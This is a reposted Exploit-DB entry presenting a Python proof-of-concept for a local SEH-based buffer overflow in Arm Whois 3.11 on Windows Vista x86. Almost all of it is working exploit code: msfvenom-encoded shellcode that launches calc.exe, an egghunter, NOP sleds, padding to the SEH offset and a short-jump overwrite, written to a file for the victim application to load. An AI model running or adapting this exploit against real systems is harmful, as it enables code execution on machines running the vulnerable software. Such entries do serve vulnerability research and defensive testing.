Arm Whois 3.11 – Buffer Overflow (ASLR)

• Exploit Database
• 110 阅读

• 作者： zephyr
  日期： 2018-11-26
• 类别：

  • local
  平台：

  • windows_x86
• 来源：https://www.exploit-db.com/exploits/45907/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43

  # Exploit Title: Arm Whois 3.11 - Buffer Overflow (ASLR) # Google Dork: [if applicable] # Date: 23/11/2018 # Exploit Author: zephyr # Vendor Homepage: http://www.armcode.com # Software Link: http://www.armcode.com/downloads/arm-whois.exe # Version: 3.11 # Tested on: Windows Vista Ultimate SP1 x86 unpatched # CVE :   # nSEH @ 672 on Windows Vista Ultimate SP1 unpatched # msfvenom -p windows/exec cmd=calc.exe -e x86/shikata_ga_nai -a x86 --platform windows nops = "\x90"*20 buf = "w00tw00t" + nops + ("\xba\x0e\xc3\xc8\xe6\xdd\xc4\xd9\x74\x24\xf4\x5e\x29" "\xc9\xb1\x31\x83\xc6\x04\x31\x56\x0f\x03\x56\x01\x21" "\x3d\x1a\xf5\x27\xbe\xe3\x05\x48\x36\x06\x34\x48\x2c" "\x42\x66\x78\x26\x06\x8a\xf3\x6a\xb3\x19\x71\xa3\xb4" "\xaa\x3c\x95\xfb\x2b\x6c\xe5\x9a\xaf\x6f\x3a\x7d\x8e" "\xbf\x4f\x7c\xd7\xa2\xa2\x2c\x80\xa9\x11\xc1\xa5\xe4" "\xa9\x6a\xf5\xe9\xa9\x8f\x4d\x0b\x9b\x01\xc6\x52\x3b" "\xa3\x0b\xef\x72\xbb\x48\xca\xcd\x30\xba\xa0\xcf\x90" "\xf3\x49\x63\xdd\x3c\xb8\x7d\x19\xfa\x23\x08\x53\xf9" "\xde\x0b\xa0\x80\x04\x99\x33\x22\xce\x39\x98\xd3\x03" "\xdf\x6b\xdf\xe8\xab\x34\xc3\xef\x78\x4f\xff\x64\x7f" "\x80\x76\x3e\xa4\x04\xd3\xe4\xc5\x1d\xb9\x4b\xf9\x7e" "\x62\x33\x5f\xf4\x8e\x20\xd2\x57\xc4\xb7\x60\xe2\xaa" "\xb8\x7a\xed\x9a\xd0\x4b\x66\x75\xa6\x53\xad\x32\x02" "\x6e\xac\x19\x3b\xd7\xa4\x1c\x26\xe8\x12\x62\x5f\x6b" "\x97\x1a\xa4\x73\xd2\x1f\xe0\x33\x0e\x6d\x79\xd6\x30" "\xc2\x7a\xf3\x52\x85\xe8\x9f\xba\x20\x89\x3a\xc3")   egghunter = nops + ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7") + "\x90"*15 junk = "A"*(672-len(buf+egghunter)) nseh = "\xeb\xc7\x90\x90" seh = "\x57\x22\x41"   payload = junk + buf + egghunter + nseh + seh   f = open("tmp.txt", 'wb') f.write(payload) f.close() print len(payload)